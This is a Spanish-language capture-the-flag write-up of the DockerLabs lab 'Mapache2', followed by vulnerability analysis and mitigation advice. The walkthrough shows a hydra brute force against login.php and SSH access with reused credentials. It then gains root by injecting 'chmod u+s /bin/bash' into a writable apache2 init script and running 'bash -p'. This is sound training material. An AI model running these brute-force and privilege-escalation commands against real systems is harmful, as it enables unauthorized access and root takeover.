Mapache2

Introducción

Este documento presenta la resolución completa de la máquina Mapache2, desarrollada por d1se0 para la plataforma DockerLabs, clasificada con una dificultad Media.

El objetivo del laboratorio es comprometer un servidor web vulnerable mediante un ataque de fuerza bruta sobre autenticación web, facilitado por la ausencia de mecanismos de protección, la exposición de usuarios válidos a través de servicios, la reutilización de credenciales para acceso por SSH, y una posterior escalada de privilegios mediante una configuración insegura de sudo que permite modificar scripts de inicialización del sistema.

El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.

---

Información Técnica

Atributo	Valor
Nombre	Mapache2
Autor	d1se0
Dificultad	Medio
Fecha	29/08/2024
Plataforma	DockerLabs
IP Objetivo	172.17.0.2

---

Paso 0 — Despliegue y preparación

Se descomprime la máquina y se despliega utilizando el script proporcionado:

unzip Mapache2.zip
sudo bash auto_deploy.sh Mapache2.tar

Se organiza el entorno de trabajo para almacenar evidencias y herramientas:

mkdir -p Mapache2/{content,exploits,nmap,scripts}
cd Mapache2

---

Paso 1 — Reconocimiento

1.1 Escaneo de puertos

Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

• 22/tcp — SSH
• 80/tcp — HTTP
• 3036/tcp — MySQL

---

1.2 Enumeración web

Se realiza fuzzing de rutas y archivos web:

feroxbuster -u http://172.17.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
  -x php,html,txt,js -t 100 -C 404

Se identifica el recurso relevante:

• login.php — formulario de autenticación básico sin controles aparentes.

---

1.3 Enumeración MySQL

Se realiza un escaneo específico del servicio MySQL:

nmap -sCV -p3036 172.17.0.2

El resultado revela información sensible, incluyendo la existencia del usuario medusa, lo que facilita ataques dirigidos.

---

Paso 2 — Explotación (Acceso inicial)

Como técnica inicial, se genera un diccionario personalizado a partir del contenido del sitio web:

cewl http://172.17.0.2/ -w dic.txt

Posteriormente, se ejecuta un ataque de fuerza bruta contra el formulario de autenticación utilizando hydra:

hydra -l medusa -P dic.txt 172.17.0.2 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

Con las credenciales obtenidas, se accede correctamente a la aplicación web, que redirige al recurso:

http://172.17.0.2/page_super_secure/secret.php

Al inspeccionar el código HTML, se identifica una pista adicional que revela otra posible credencial: Kinder.

Estas credenciales se prueban contra el servicio SSH, obteniendo acceso exitoso:

ssh Kinder@172.17.0.2

---

Paso 3 — Escalada de privilegios

3.1 De Kinder → root

Se revisan los privilegios de sudo asignados al usuario:

El resultado indica que el usuario puede reiniciar el servicio apache2 sin contraseña. Al comprobar los permisos del script /etc/init.d/apache2, se observa que es modificable, lo que permite inyectar código arbitrario.

Se añade el siguiente contenido al script:

#!/bin/bash
chmod u+s /bin/bash

Posteriormente, se reinicia el servicio:

sudo service apache2 restart

Finalmente, se ejecuta una shell privilegiada:

bash -p

---

Análisis de Vulnerabilidades

Fallos de Seguridad Identificados

Vulnerabilidad	Severidad	Impacto
Autenticación web vulnerable a fuerza bruta	Crítica	Compromiso de cuentas válidas
Ausencia de protección anti–fuerza bruta en login.php	Alta	Acceso no autorizado
Exposición de usuarios válidos mediante servicios	Media	Facilita ataques dirigidos
Reutilización de credenciales entre servicios	Crítica	Acceso remoto por SSH
Permisos inseguros sobre scripts de inicialización	Crítica	Escalada directa a root
Uso de sudo sin contraseña en servicios críticos	Crítica	Ejecución arbitraria como root

---

Recomendaciones de Mitigación

• Implementar mecanismos de rate-limit y bloqueo en formularios de autenticación.
• Evitar mensajes de error que permitan validar usuarios existentes.
• Restringir el acceso al servicio MySQL y eliminar banners informativos.
• Aplicar políticas estrictas de no reutilización de contraseñas.
• Asegurar que los scripts en /etc/init.d/ solo sean modificables por root.
• Eliminar reglas de sudo que permitan la gestión de servicios sin autenticación.
• Auditar periódicamente permisos y configuraciones privilegiadas del sistema.